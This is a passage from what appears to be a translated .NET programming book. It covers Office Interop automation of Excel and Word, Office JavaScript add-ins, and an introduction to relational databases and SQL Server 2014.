观察我们最终如何调用DynamicObject.Invoke方法,就像调用委托一样。如果你测试前面的代码,生成的输出将与 C#代码中对应行的等效输出相对应,该代码产生相同的信息输出:

Reflection.Emit 命名空间

还要注意,在ilgen.Emit的最后调用中存在OpCodes.Ret值。这生成一个返回语句,如果存在返回值,则将其从评估堆栈推送到调用者的评估堆栈。

如果你查看与 OpCodes 相关的字段,你会发现它提供了一个广泛的 MSIL 指令的字段表示列表,如下一张截图所示:

Reflection.Emit 命名空间

提示

注意,如果你想深入了解这些可能性,MSDN 上有一个页面,其中包含所有 OpCodes 的详尽关系,链接为msdn.microsoft.com/en-us/library/system.reflection.emit.opcodes_fields(v=vs.110).aspx

互操作性。

本章我们要讨论的另一个重要主题是.NET 应用程序“与”我们系统中的其他已安装应用程序“交流”的可能性。这种交流意味着实例化这些应用程序,在它们之间交换数据,或者请求其他应用程序执行我们本应自己编写的任务。

最初(在 C# 4.0 之前的版本中),这项技术完全是基于 COM 的。这个技巧是通过 Interop 使用一些名为类型库TLB)或对象库OLB)的 DLL 完成的。程序员随后应该使用(引用)这些库并实例化它们内部的对象,这些对象代表应用程序的内部组件,以便进行通信。

这是通过使用运行时可调用包装器RCW)实现的,其操作模式在以下图中解释:

互操作性

让我们看看 COM 和.NET 世界之间是如何进行通信的。你必须记住,COM 不是一个托管环境,它执行 Windows 操作系统的本地指令。RCW 组件负责这一点,并在两个执行上下文之间充当代理。

在这个模型中,C#程序员没有可选参数可用。因此,你必须传递方法定义的所有参数,使用System.Reflection.Missing.Value类型,除此之外,还有使用 Reflection 查找哪些成员存在并可用的其他困难,以及相关的其他辅助工具。

这段代码展示了早期版本中这种情况的一个示例。它假设已经引用了 Microsoft Word 的相应 TLB,该 TLB 公开了一个名为ApplicationClass的对象,以允许 Word 实例化:

public void OpenWordDoc()
{
  ApplicationClass WordApp = new ApplicationClass();
  WordApp.Visible = true;
  object missing = System.Reflection.Missing.Value;
  object readOnly = false;
  object isVisible = true;
  object fileName = Path.Combine(
    AppDomain.CurrentDomain.BaseDirectory, @"..\..\..\Document.doc");
  Microsoft.Office.Interop.Word.Document theDoc = WordApp.Documents.Open(
      ref fileName, ref missing, ref readOnly, ref missing,
      ref missing, ref missing, ref missing, ref missing,
      ref missing, ref missing, ref missing, ref isVisible,
      ref missing, ref missing, ref missing, ref missing);
  theDoc.Activate();
}

注意所有由Open方法定义的参数,在这个情况下都必须以missing的形式传递。正如你所见,这是一种相当笨拙的方式来打开文档并访问其成员(实际上,在一段时间前,使用这种 Interop 功能,从 Visual Basic .NET 操作要容易得多,也更简单)。

主要互操作程序集

随着技术的演变,类型库被一种称为PIAs(主要互操作程序集)的东西所取代,它们扮演着与 RCWs 相同的作用,但以更简单的方式允许编程。

因此,与外部(互操作)应用程序通信的方式是通过那些负责在两个世界之间进行数据类型序列化的库,这两个世界最初并不容易连接,尤其是对于那些不够熟练使用 COM 平台的程序员。

下面的图示显示了这种通信架构:

主要互操作程序集

让我们从一开始,只使用最新版本,看看我们今天是如何操作的。

要获取(并看到)一个互操作应用程序的实例,第一步是引用相应的 PIA,它将作为代理。这可以在任何.NET 应用程序的引用选项中找到,但不是在默认的 DLL 选项卡中,而是在扩展选项卡中。

注意你会看到很多 DLL 可用,并且在很多情况下你会观察到重复。你必须注意版本号,它将根据你机器上安装的 Office 版本而变化。

此外,你可能会在你的机器的不同位置找到甚至相同版本的重复。这是由于安装 Office 允许用户在安装过程中手动包含这些 PIAs,或者可能是因为之前安装了较旧的 Office 版本:

主要互操作程序集

如果你检查引用管理器COM选项,你也会发现一些包含Excel一词的条目。它们可能在你的机器上有所不同,但通常,它们指向被引用的相应可执行文件(下一个截图中的Excel.exe)。

然而,如果你也标记了这个选项并接受选择,你将不会在项目引用列表中看到对Excel.exe的引用。相反,你会看到一个与之前情况(当我引用 PIA 时)相同的名称的库,但它实际上指向 GAC 中的名为Microsoft.Office.Interop.Excel的 DLL,后面跟着一个 GUID 号码:引用被“重定向”以指向最合适的库:

主要互操作程序集

Excel 提供给程序员的对象模型与它的用户界面完全相同。有一个Application对象,它代表整个应用程序,每个Workbook对象在模型中由相应的对象表示。每个对象包含一个Worksheet对象的集合。一旦起点准备就绪,Range对象就可以让你操作单个(或一组)单元格。

首先,让我们以现代、简单的方式调用一个 Excel 实例,并用一个新的 Excel 工作簿显示它。在这个示例中,为了在以后将信息在应用程序和 Excel 或 Word 之间交换,我使用了一个基本的 Windows Forms 应用程序,它将使用以下代码启动 Excel。

在我们的 Windows Form 中,我们定义如下:

using Excel = Microsoft.Office.Interop.Excel;
using Word = Microsoft.Office.Interop.Word;
...
private void Form1_Load(object sender, EventArgs e)
{
  OpenExcel();
}
public void OpenExcel()
{
  var excel = new Excel.Application();
  excel.Visible = true;
  excel.Workbooks.Add();
  excel.get_Range("A1").Value2 = "Initial Data";
  excel.get_Range("B1").Value2 = "Demo data 1";
  excel.get_Range("C1").Value2 = "Demo data 2";
  excel.get_Range("D1").Value2 = "Demo data 3";
}

这实际上启动了 Excel 并将这些信息传递给代码中引用的四个单元格,正如我们可以在输出中看到的那样。注意我们代码中的初始声明,以引用 Excel 和 Word。由于我们在文档加载时调用OpenExcel,因此两个应用程序都将打开,第二个是 Excel,展示了我们的数据:

主要互操作程序集

这并不是什么惊人的或意料之外的事情,但我们看到使用 Interop 调用其他应用程序并传递数据给它们相当容易。无论如何,Office Interop(以及其他应用程序)的一些特殊性在这里是明显的。

首先,你必须将excel对象声明为Visible。这是因为默认情况下,Office Interop 应用程序不会显示。当你只想让某个功能发生并在你的应用程序中恢复结果,而不希望目标应用程序打扰最终用户时,这非常有用。

显然,我们正在使用一些你可能不熟悉的对象,因为它们属于目标应用程序:Range 代表当前工作表中的单元格范围,get_Range 方法恢复一个 Set/Get 引用到我们作为参数传递的所需单元格。注意,我们可以在传递给此方法的字符串中指定所需的范围或使用枚举,例如在 get_Range(c1, c2) 中。

或者,我们也可以使用如下语法创建一个 Range 对象:

// an alternative way to get a range object
var oSheet = excel.Sheets[1]; // Index starts by 1
var oRange = (Excel.Range)oSheet.Range[oSheet.Cells[1, 2],
  oSheet.Cells[4, 3]];
oRange.Value2 = "Same value";

观察到在这种情况下,我们声明了一个从 Excel 在初始工作簿中创建的可用工作表集合中恢复的 Sheet 对象。使用此对象和类似数组的语法,我们选择要包含在我们范围中的初始和结束单元格(默认情况下,所有这些都可以访问)。

此外,请注意,当我们用我们的单元格定义一个矩形时,会收集多个列,因此最终的修改结果如下所示:

主要互操作程序集

格式化单元格

很可能,我们不得不格式化传递给 Excel 表格的内容。这意味着另一种操作方式(这是非常合理的;让我们强调这一点)。

这些对象中的大多数都是单独定义的,然后应用于要针对的对象。在格式化的情况下,请记住,格式应该应用于包含某些值的单元格(可能你打开了一个现有的工作簿对象)。

因此,我们将在我们的表单中创建另一个方法来调用 Excel 并创建一个可以应用于我们单元格的样式。现在这样的方法就足够了:

public Excel.Style FormatCells()
{
  Excel.Style style = excel.ActiveWorkbook.Styles.Add("myStyle");
  //Creation of an style to format the cells
  style.Font.Name = "Segoe UI";
  style.Font.Size = 14;
  style.Font.Color = ColorTranslator.ToOle(Color.White);
  style.Interior.Color = ColorTranslator.ToOle(Color.Silver);
  style.HorizontalAlignment = Excel.XlHAlign.xlHAlignRight;
  return style;
}

注意,一些对象总是引用当前(在那个时刻活跃的)元素,例如 ActiveWorkBook 或替代的 ActiveSheet。我们还可以依赖一个 ActiveCell 对象,它在之前选定的给定范围内操作。

最后,我们调用 oRange.Columns.AutoFit() 以使每个列的宽度与其中最大长度一致。有了这个定义,我们可以在需要将样式应用于任何范围时调用 FormatCells。在这种情况下,对第二个定义的范围进行操作,输出显示了正确应用了格式的结果:

格式化单元格

在表格中插入多媒体

另一个有趣的选择是能够在我们的选择区域内插入外部图片。这甚至可以使用剪贴板上的任何内容来完成。在这种情况下,代码相当简单:

// Load an image to Clipboard and paste it
Clipboard.SetImage(new Bitmap("Packt.jpg"));
excel.get_Range("A6").Select();
oSheet.Paste();

输出显示了位于选定单元格中的 Packt 标志:

在表格中插入多媒体

我们假设带有 Packt Publishing 标志的图片当前(执行)路径中可用。当然,我们可以将其保存在资源文件中,并以其他方式恢复。例如,我们可以使用以下代码从 Packt Publishing 网站上的相应链接恢复这本书的封面图像 www.packtpub.com/sites/default/files/B05245_MockupCover_Normal_.jpg

public Bitmap LoadImageFromSite()
{
  // Change your URL to point to any other image...
  var urlImg = @"https://www.packtpub.com/sites/default/files/B05245_MockupCover_Nor	mal_.jpg";
  WebRequest request = WebRequest.Create(urlImg);
  WebResponse response = request.GetResponse();
  Stream responseStream = response.GetResponseStream();
  return new Bitmap(responseStream);
}

在这里,我们需要 System.Net 命名空间中属于 WebRequest/WebResponse 对象的帮助,以及作为 System.IO 命名空间一部分的 Stream 类。正如你所想象的那样,在 Windows Forms 代码中,我们更改之前的代码为:

Clipboard.SetImage(LoadImageFromSite());

生成的输出显示了位于单元格 A6 的这本书的封面(记住,在这样做之前选择目标位置是很重要的):

在表格中插入多媒体

以这种方式,我们有一系列可能的添加到 Excel 表格中的内容,包括外部内容,当然,这些内容不必是图形的,并接受其他类型的内容(甚至是视频)。

当我们在 Excel 中处理图形时,通常我们真正想要的是指示 Excel 从一些数据中构建一个业务图表。一旦完成,我们可以将其保存为图像文件或在我们的应用程序中恢复并展示它(通常不会以任何方式显示 Excel 的用户界面)。

要使 Excel 图表对象启动并运行,我们必须以类似于我们对 WorkBook 本身所做的方式将图表添加到 WorkBook 的图表集合中。要生成特定类型的图表,一个有用的对象是 ChartWizard 对象,它接收配置参数,允许我们从一个可用的多种图表类型中选择一种,并为我们的图表提供所需的 Title 文本。因此,我们可能会得到如下所示的内容:

chart.ChartWizard(Source: range.CurrentRegion,
  Title: "Memory Usage of Office Applications");
chart.ChartType = Excel.XlChartType.xl3DArea;
chart.ChartStyle = 14;
chart.ChartArea.Copy();

小贴士

不同类型的图表和样式的解释可以在 MSDN 文档中找到,并超出了本书的覆盖范围(它可在 msdn.microsoft.com/en-us/library/microsoft.office.tools.excel.aspx 找到)。

注意,我们最终将生成的图形复制到剪贴板,以便使用与之前相同的技术,尽管你也可以使用其他方法来获取图像。

为了获取构建图像的一些直接数据,我从旧版的 Microsoft 演示开始,它从内存中恢复进程,但将目标更改为仅与 Microsoft Office 应用程序相关的进程,并将代码简化到最小:

public void DrawChart()
{
  var processes = Process.GetProcesses()
    .OrderBy(p => p.WorkingSet64);
  int i = 2;
  foreach (var p in processes)
  {
    if (p.ProcessName == "WINWORD" ||
      p.ProcessName == "OUTLOOK" ||
      p.ProcessName == "EXCEL")
    {
      excel.get_Range("A" + i).Value2 = p.ProcessName;
      excel.get_Range("B" + i).Value2 = p.WorkingSet64;
      i++;
    }
  }

  Excel.Range range = excel.get_Range("A1");
  Excel.Chart chart = (Excel.Chart)excel.ActiveWorkbook.Charts.Add(
    After: excel.ActiveSheet);

  chart.ChartWizard(Source: range.CurrentRegion,
    Title: "Memory Usage of Office Applications");
  chart.ChartType = Excel.XlChartType.xl3DArea;
  chart.ChartStyle = 14;
  //chart.CopyPicture(Excel.XlPictureAppearance.xlScreen,
  //    Excel.XlCopyPictureFormat.xlBitmap,
  //    Excel.XlPictureAppearance.xlScreen);
  chart.ChartArea.Copy();
}

在另一个与按钮相关联的事件处理程序中(整个演示始终可用,与本章的配套代码一起提供),我们以这种方式启动该过程:

private void btnGenerateGraph_Click(object sender, EventArgs e)
{
  DrawChart();
  if (Clipboard.ContainsImage())
  {
    pbChart.SizeMode = PictureBoxSizeMode.StretchImage;
    pbChart.Image = Clipboard.GetImage();
  }
  else
  {
    MessageBox.Show("Clipboard is empty");
  }
}

我们假设表单中存在一个名为 pbChartPictureBox 控件。然而,在显示结果之前,请注意,如果用户与 Excel 交互,我们需要手动关闭和销毁应用程序创建的资源;因此,在 form_closing 事件中,我们包含了以下示例代码:

private void frmInteropExcel_FormClosing(object sender, FormClosingEventArgs e)
{
  excel.ActiveWorkbook.Saved = true;
  excel.UserControl = false;
  excel.Quit();
}

此外,我们在开始时创建了一个 Excel 对象(在表单的作用域内声明并在 Initialize 事件中实例化),因此 excel 变量在表单的所有方法中都是可用的。在执行时,我们同时运行两个应用程序(我保持 Excel 可见以进行演示):

在表格中插入多媒体

当按下 生成 GraphChart 按钮时,我们会看到重复的输出,其中包括在 ActiveWorkBook 中生成的图形以及表单中 PictureBox 控件内显示的图片:

在表格中插入多媒体

Excel Interop 的其他常见用途包括图形报告的自动化、批量电子邮件的生成以及商业文档(发票、收据等)的自动生成。

与 Microsoft Word 互操作

Office 自动化解决方案中的另一个明星是 Microsoft Word。就像 Excel 一样,它提供了一个非常完整的 对象模型OM),更新以展示每个版本的新功能,并且可以像我们对 Excel 所做的那样完全编程。

自然地,Word 的 OM,或简称 WOM,与 Excel 完全不同,包括程序员自动化任何任务所需的所有特性。实际上,用户界面对象(正如 Excel 的情况一样)得到了忠实的表现,这包括调用对话框以启动某些进程(如拼写检查)或编辑器的任何其他典型配置功能。

与 Excel 一样,自动化是通过 PIA (Microsoft.Office.Interop.Word.dll) 实现的,初始化过程相当相似:

Word.Application word = new Word.Application();
private void btnOpenWord_Click(object sender, EventArgs e)
{
  word.Visible = true;
  word.Documents.Add();

  var theDate = DateTime.Today.ToString(CultureInfo.CreateSpecificCulture("en-US"));
  word.Selection.InsertAfter(theDate + Environment.NewLine);
  word.Selection.InsertAfter("This text is passed to Word directly." + Environment.NewLine);
  word.Selection.InsertAfter("Number or paragraphs: " +
    word.ActiveDocument.Paragraphs.Count.ToString());
}

假设我们有一个按钮(btnOpenWord),我们在初始化时实例化一个 Word 对象;因此,当用户点击时,我们只需使 Word 可见并使用 Selection 对象(如果尚未选择任何内容,则它引用光标)。

从这个点开始,Selection 提供了多种方法来插入文本(InsertDatetimeInsertAfterInsertBeforeInsertParagraphText 等)。注意,这个过程将写入 Word,并且插入的整个文本都保持选中状态:

与 Microsoft Word 互操作

总的来说,在运行时释放所使用的对象是很重要的。因此,我们在 form_closing 事件中编写了以下代码:

private void fmInteropWord_FormClosing(object sender, FormClosingEventArgs e)
{
  try
  {
    word.ActiveDocument.Saved = true;
    word.Quit();
  }
  catch (Exception)
  {
    MessageBox.Show("Word already closed or not present");
  }
}

图像的处理甚至更加简单,因为我们只需几行代码就可以引用任何外部图像。为了加载与 Excel 演示中相同的图像,我们会使用以下代码:

private void btnInsertImage_Click(object sender, EventArgs e)
{
  var filePath = Environment.CurrentDirectory;
  word.Selection.InsertAfter(Environment.NewLine + "Logo PACKT: ");
  var numChars = word.Selection.Characters.Count;
  word.Selection.InlineShapes.AddPicture(filePath + "\\Packt.jpg",
    Range: word.ActiveDocument.Range(numChars));
}

在这里指定图像的位置很重要,因为否则整个选择将被AddPicture方法替换。这就是为什么我们添加一个第四个参数(Range),这允许我们指明图像应该放在哪里。

此外,观察我们如何始终了解文档元素的所有方面(字符数和RowsColumnsShapesTablesParagraphs等的集合)。此外,由于我们现在可以使用命名参数,我们只需传递所需的参数即可:

与 Microsoft Word 的互操作性

通过选择一个Range对象并将其配置到所需值,格式化也可以非常容易地实现(我们为此创建了一个名为btnFormat的特殊按钮;因此,在Click事件中,我们编写以下代码:

private void btnFormat_Click(object sender, EventArgs e)
{
  Word.Range firstPara = word.ActiveDocument.Paragraphs[1].Range;
  firstPara.Font.Size = 21;
  firstPara.Font.Name = "Century Gothic";
  firstPara.ParagraphFormat.Alignment =
    Word.WdParagraphAlignment.wdAlignParagraphCenter;
}

在我们的文档中的前一段文本,一旦点击事件被触发,我们就会得到这个捕获中显示的输出:

与 Microsoft Word 的互操作性

Word 的另一个非常常见的用途与其操作文本并返回文本到调用函数的能力有关。这在检查拼写和其他内部引擎,如语法修订时特别有用。

这种技术包括将所需文本传递给 Word,选择它,并启动拼写和语法对话框来操作它。一旦文本被修订,我们就可以将修正后的文本返回到调用应用程序。让我们看看在示例中它是如何工作的。我们有一个名为Spell Check(命名为btnSpellCheck)的按钮,它使用以下代码启动拼写校正过程:

private void btnSpellCheck_Click(object sender, EventArgs e)
{
  if (word.Documents.Count >= 1)
    rtbSpellingText.Text +=
      Environment.NewLine + Environment.NewLine +
    SpellCheck(rtbSpellingText.Text);
  else
    MessageBox.Show("Please, use the Open Word option first");
}

private string SpellCheck(string text)
{
  var corrected = string.Empty;
  var doc = word.ActiveDocument;
  if (!string.IsNullOrEmpty(text))
  {
    doc.Words.Last.InsertAfter(Environment.NewLine + text);
    var corRange = doc.Paragraphs.Last.Range;
    corRange.CheckSpelling();
    corrected = corRange.Text;
  }
  return corrected;
}

输出包括三个元素:我们的.NET 应用程序、Word 以及当调用CheckSpelling方法时启动的拼写和语法对话框,如下面的截图所示:

与 Microsoft Word 的互操作性

当过程结束后,修正后的结果会返回给调用函数,在那里我们更新用于保存文本的RichTextBox控件。请注意,您可以保持 Word 不可见,用户界面中唯一可用的功能就是您的应用程序和拼写和语法对话框。

此外,请注意,我们检查是否存在打开的文档,否则将生成运行时异常。在过程结束后,我们的RichTextBox控件将包含预期的修正文本:

与 Microsoft Word 的互操作性

除了这个实用程序之外,实际上任何其他与 Office 相关的功能都可以通过类似的方式进行自动化。然而,这并不是我们通过.NET 应用程序使用和扩展 Office 功能的唯一方法。实际上,最成功的一种选择依赖于插件构造或 Office 应用程序。

Office 应用程序

在 Office 2013 的官方页面(我们在这里使用的是这个版本,尽管这个示例在 2016 版本中也运行得很好),Office 应用程序是这样定义的:

Office 应用程序使用户能够在应用程序、平台和设备上运行相同的解决方案,并通过整合来自网络的丰富内容和服务,在 Office 应用程序中提供改进的体验。

关键架构进一步解释了,指出这些应用程序通过使用网络的力量和标准网络技术(如 HTML5、XML、CSS3、JavaScript 和 REST API)在支持的 Office 2013 应用程序中运行。这一点非常重要,原因有很多。

首先,标准技术的使用使我们能够整合我们可能拥有的任何先前或已经创建的功能性内容。如果它在 Web 上工作,它将在这些应用程序之一上工作(尽管通过 JavaScript API 的自动化并不涵盖 PIAs 提供的所有可能性)。然而,另一方面,JavaScript 5/6 暴露的 API 为开发人员提供了许多新的编程选项(Web Workers、Web Sockets 等)。

如果这还不够,请考虑今天可用的大量 JavaScript 和 CSS 框架:jQuery、BootStrap、Angular 等。我们可以在这些应用程序中使用所有这些框架。总的来说,我们谈论的是一个托管在 Office 客户端应用程序(Excel、Word、PowerPoint 和 Project 都是可用选项)内的网页。

注意,这些应用程序可以在桌面客户端、Office Online、移动浏览器以及本地和云环境中运行。部署选项包括 Office Store 或现场目录。

让我们看看这是如何工作的,通过使用 Visual Studio 2015 提供的默认模板,分析和自定义这些内容以创建一个初始的、可工作的演示。

Office 应用程序默认项目

因此,让我们创建一个新的项目,并选择Visual C#-Office/SharePoint-Apps树元素:我们提供了三个选择。如果您选择Office 应用程序选项,将显示一个选择框(我将使用任务窗格,但您也可以选择内容邮件):

Office 应用程序默认项目

小贴士

网站上提供了许多不同类型应用程序的其他模板,该网站地址为dev.office.com/code-samples#?filters=office%20add-ins

在这个演示中,我选择 Word 作为目标 Office 应用程序,尽管默认情况下所有复选框都被勾选:

Office 应用程序默认项目

如果您查看生成的文件,您会注意到这些应用程序基本上由两部分组成:一个清单文件,它配置应用程序的行为;以及一个网页,它引用所有必需的资源:jQuery、样式表、JavaScript 初始化文件、web.config文件等。

如果您打开清单文件,您会看到 Visual Studio 提供了一个配置文件编辑器,您可以在其中指示每个功能方面。在该窗口的激活选项卡中的注释提醒我们这个应用程序可能工作的目标:

Office 应用默认项目

实际上,这个模板一旦编译就可以工作,它操作所选文本块,将其传递回任务窗格,该窗格将出现在新 Word 文档的右侧,显示Home.html页面。这个页面反过来加载Home.jsapp.js文件,负责初始化。此外,还添加了.css文件用于格式化。

此外,还有一个非常重要的 JavaScript 代码片段,通过 CDN 引用,名为office.js。这是负责此处两个世界之间交通的库:Office 编程模型和 HTML5/CSS3/JS 世界。

页面上有一个图形方案在technet.microsoft.com/en-us/library/jj219429.aspx,它提供了在运行时对该场景的视觉观察:

Office 应用默认项目

要运行测试,从 Visual Studio 启动应用程序,当 Word 出现时,输入一些文本并选择它。可选地,你可以尝试lorem 技巧(你可能已经知道了):只需在文档中输入=lorem(n),其中n是你想要生成的 lorem 段落数量,lorem 文本将自动附加到文档的当前文本。

一旦我们这样做并选择一个片段,标记为从选择获取数据的按钮将恢复所选文本,并在任务窗格的底部展示它。你应该看到以下截图所示的内容:

Office 应用默认项目

架构差异

注意,这次没有引用 Interop 库。这是一个重大的架构变化,由 Office JavaScript 对象模型承担——虽然不如 PIAs 库中的详尽,但足够宽泛,为我们提供了许多有用的选项。

让我们添加一个非常简单的方法来展示我们如何反向操作:从任务窗格向文档中插入文本。

首先,我们需要向任务窗格用户界面添加一个新元素。一个简单的按钮就足够我们使用了,所以我们在现有的get-data-from-selection按钮旁边添加一个新按钮:在Home.html文件中,我将称之为insert-data-from-Task-Pane

<button id="insert-data-from-Task-Pane">Insert data from TaskPane</button>

下一步是按照模板演示的方式编程按钮的点击事件处理程序,但在这里将代码简化到最大程度。因此,在Home.js文件中,紧邻其他按钮的初始化代码旁边,我们将添加一个类似的功能:

$('#insert-data-from-Task-Pane').click(insertDataFromTaskPane);

并且,insertDataFromTaskPane的主体包含以下代码:

function insertDataFromTaskPane() {
  Office.context.document.setSelectedDataAsync(
    'Text inserted from the Task Pane' +
    '\nCallaback function notifies status',
    function (result) {
      app.showNotification('Feedback:', result.status);
    }
  );
}

注意,任务窗格不允许使用对话框;因此,我们通过在应用程序对象上调用showNotification来通知用户过程的成功或错误,将数据发送到之前在初始化过程中配置的任务窗格通知区域。

因此,我们在这里向两个方向前进:从任务窗格到 Word 文档,插入几行并通知相反方向的工作情况。注意,setSelectedDataAsync方法为我们提供了一个机制,以类似于我们之前使用 PIAs 对象模型的insertAfter方法的方式将数据插入文档中。

最后,请记住,在 JavaScript 世界中,通常将回调函数作为许多函数调用的最后一个参数来分配,以便在方法执行完成后提供反馈或添加额外的功能。在函数声明中恢复的参数(result对象)包含包括操作状态等相关信息在内的属性。

在 MSDN 文档中关于编程此类应用程序的信息非常丰富,你将能够看到这类应用的新类型,特别是允许构建 Office 365 插件的程序。

仅为了完整性,让我们通过这张截图展示之前代码的结果:

架构差异

摘要

我们看到了与.NET Framework 能够以标准方式自省其自己的程序集并调用其功能,甚至使用 CodeDOM 的可能性在运行时生成代码相关的编程的几个方面,这使我们可以随意生成模板和其他代码片段。

我们还简要介绍了Reflection.Emit,只是为了检查如何在运行时生成 IL 代码并将其插入其他可执行代码中。

在本章的第二部分,我们涵盖了在 Office 自动化中最常见的场景,这是一种允许我们调用包括 Excel 和 Word 在内的 Office 中包含的功能的技术,并通过代理库(主互操作程序集)与之交互,以几乎绝对控制其他应用程序的方式,能够通过向这些代理发出的指令在应用程序和 Office 合作伙伴之间传递和恢复信息。

我们最终包括了关于构建组件新方法的简要介绍,这种方法出现在 Office 2013 版本(Office 应用)中,并了解了这些类型组件的基本架构,回顾了 Visual Studio 提供的基本模板,并将其修改为通过Office JavaScript 对象模型实现简单、双向的功能。

在下一章中,我们将专注于数据库编程,涵盖在 Visual Studio 中可用的关系模型交互的基础。

第六章 SQL 数据库编程

本章讨论根据关系模型原则构建的数据库的访问,通常我们将其称为 SQL 数据库,因为使用该语言来操作其数据。在下一章中,我们将探讨新兴的 noSQL 数据库模型。

注意

注意,我们在这里不会深入探讨数据访问。这只是一个快速回顾,介绍您在根据关系模型构建的数据库系统中可以使用的最常见可能性。

在这里,我们将在介绍 SQL Server 2014(我将在本章中使用)之前,快速回顾关系模型(模式、范式规则等)的规则和基础。此外,我们还将介绍安装 SQL Server 2014 Express Edition(完全免费)的过程,以及一些示例数据库,这些数据库将帮助我们进行演示。

在本节中,我们还将介绍 Visual Studio 提供的一种不太常见的项目类型,用于处理数据库,即 SQL Server 项目模板,并探讨我们如何直接从 Visual Studio 配置目标数据库的许多方面。我们甚至可以将所有这些配置保存为.dacpac文件,该文件可以在任何其他机器上复制。

然后,我们将介绍基本.NET Framework 数据库引擎,这些引擎被推荐用于数据管理。我们将从版本 1.0(ADO.NET)中出现的初始引擎开始提醒,然后过渡到实体框架模型(最常见且由微软推荐),该模型已经达到 6.1 版本(尽管新版本与.NET Core 浪潮保持一致,并且最近以 Entity Framework 1.1 的名义发布)。

我们将了解如何从一个演示数据库中构建 ORM 数据模式,以及如何使用 EF 查询和操作数据,以及这些版本为程序员提供的一些新可能性。

总体而言,本章将涵盖以下主题:

  • 数据库关系模型的复习

  • SQL Server 2014 数据库系统、安装和功能

  • Visual Studio 中的 SQL Server 项目模板

  • 使用 ADO.NET 进行基本数据访问

  • 使用 Database-first flavor进行 Entity Framework 6.0 的基本数据访问,类似于 ASP.NET MVC 应用程序

关系模型

直到 1970 年,数据访问在性质和管理上都是多样化的。没有标准或常见的途径可用,我们今天理解的数据库所使用的术语是数据银行,但它们的结构相当不同。

当然,还有其他模型,如层次模型和网络模型,但它们的规范有些非正式。

在 1969 年和随后的几年里,IBM 的一名工程师(E.F. Codd)开始发表一系列论文,其中他确立了我们现在理解的关系模型的基础;特别是,他的论文《数据库管理的关系模型》现在被认为是 RM 宣言。在这个模型中,所有数据都是用元组表示的,这些元组被分组到关系中。因此,按照关系模型组织的数据库被称为关系数据库。

关系表属性

以下是关系表的属性:

  • 所有数据都是以关系集合的形式提供的。

  • 每个关系都描述为一个表。一个表由列和行组成。

  • 列是实体的属性,由表的定义建模(在一个客户表中,你可能会有customerIDe-mailaccount等等)。

  • 每一行(或元组)代表一个单一实体(也就是说,在一个客户表中,1234thecustomer@site.com12345678等等,将表示一个包含单个客户的行)。

  • 每个表都有一组属性(一个或多个),可以作为键使用,唯一地标识每个实体(在客户表中,客户 ID 将指定单个客户,并且这个值在表中应该是唯一的)。

许多类型的键提供了多种可能性,但最重要的两种是主键和外键。前者唯一地标识元组,后者位于另一个表中,允许建立表之间的关系。正是通过这种方式,我们可以根据公共字段查询与两个或多个表相关的数据(这个字段不需要命名为我们将与之匹配的另一个字段;它只需要是相同的数据类型)。

关系模型基于关系代数(也被 E.F. Codd 描述,他提出这种代数作为数据库查询语言的基础,因此与集合论相关)。这种代数使用集合的并集、差集和笛卡尔积,并给这些操作符添加了额外的约束,例如selectprojectjoin

这些操作在 SQL 语言中有直接的对应关系,SQL 语言用于操作数据,基本上我们找到以下内容:

  • 选择:它从表中恢复行值(可选地,根据给定的标准)

  • 投影:它读取选择的属性值

  • 连接:它结合两个或多个表(或仅一个,作为第二个表)的信息

  • 交集:它显示两个表中都存在的行

  • 并集:它显示多个表中的行并删除重复的行

  • 差集:它恢复一个表中不存在于另一个表中的行

  • :笛卡尔积结合了两个或多个表中的所有行,通常与过滤子句和外部键关系一起使用

关系模型的一个重要方面是通过一系列规则确保数据完整性。主要的是,有五个规则必须考虑:

  • 元组和/或属性顺序不重要:如果你在电子邮件之前有 ID,这与在 ID 之前有电子邮件是相同的。

  • 每个元组都是唯一的。对于表中的每个元组,都有一个唯一标识它的值组合。

  • 每个字段只包含单个值。或者说,如果你愿意,每个表单元格应该只包含一个值。这是由第一范式推导出来的;我们稍后会讨论这一点。

  • 一个属性(可以将其视为列)内的所有值来自同一个域。也就是说,只有允许由属性定义的值是允许的,无论是数字、字符、日期等等。它们的实际实现将取决于数据库引擎允许的类型定义。

  • 表的标识符在单个数据库中必须是唯一的,表中的列也是如此。

本文中提到的原则和规则通过范式规则(通常称为规范化)形式化。它们建立了一系列规则来加强数据完整性。然而,在实践中,只有前三个规则(1NF、2NF 和 3NF)在日常业务中应用,甚至第三个规则在某些情况下也允许进行反规范化过程,以避免设计中的不必要复杂性。

简而言之,这些是三个规范性范式的要求:

  • 1NF:它消除了同一表中重复的列。也就是说,为每组相关数据创建单独的表,并用主键标识每一行。

  • 2NF:它消除了适用于表的多行数据的子集,并创建了一个包含它们的新的表。之后,你可以创建外键来维护表之间的关系。

  • 3NF:它删除了所有不依赖于主键的列。

使用这些范式,我们的数据完整性在 99%的情况下得到保证,并且我们可以非常高效地利用我们的数据银行使用 SQL。记住,那些唯一标识每个表行键允许创建索引,这些索引是额外的文件,旨在加快和简化数据恢复。

在 SQL Server(和其他数据库管理系统)的情况下,允许两种类型的索引:

  • 聚集索引:每个表只能有一个。它们是极快的结构化数据,应该基于短字段长度,并且最好是基于那些不会改变的字段,例如我们之前提到的客户 ID。

  • 非聚集索引:每个表可以定义多个,并允许在读取、连接和过滤操作中提高速度。建议候选字段是那些出现在WHEREJOIN子句中的字段。

工具 – SQL Server 2014

在本章中,我使用的是 SQL Server 2014 Express Edition,它是免费安装的,包括可选安装SQL Server Management StudioSSMS),这是一个可视化工具,允许用户管理 DBMS 内的所有对象,但您也可以使用 2016 版本,它具有相同(扩展)的功能。

您可以在www.microsoft.com/en-us/download/details.aspx?id=42299找到它们,一旦安装完成,您将在系统菜单中看到一个新条目,包括与该产品相关的几个工具。有了 SSMS 准备就绪,您应该下载并安装一些示例数据库。我推荐 Adventure Works 2014,它包含足够的数据,可以应对您在日常编程中需要测试的大多数典型情况。

msftdbprodsamples.codeplex.com/Releases有一个可用的版本。一旦安装,只需打开 SQL Server Management Studio,您应该会看到一个可用的数据库副本,如下面的截图所示:

工具 – SQL Server 2014

您将找到一些组织在模式(表示数据管理公共区域的名称,如HumanResourcesPersonProduction)中的表。如果您不熟悉 SQL Server 或已经了解其他 DBMS,您不会觉得创建和编辑查询或其他 SQL 相关命令的常规工具奇怪。它们可以通过在 SQL Server 资源管理器中选择列表中的任何成员时出现的上下文菜单获得。请参考以下截图:

工具 – SQL Server 2014

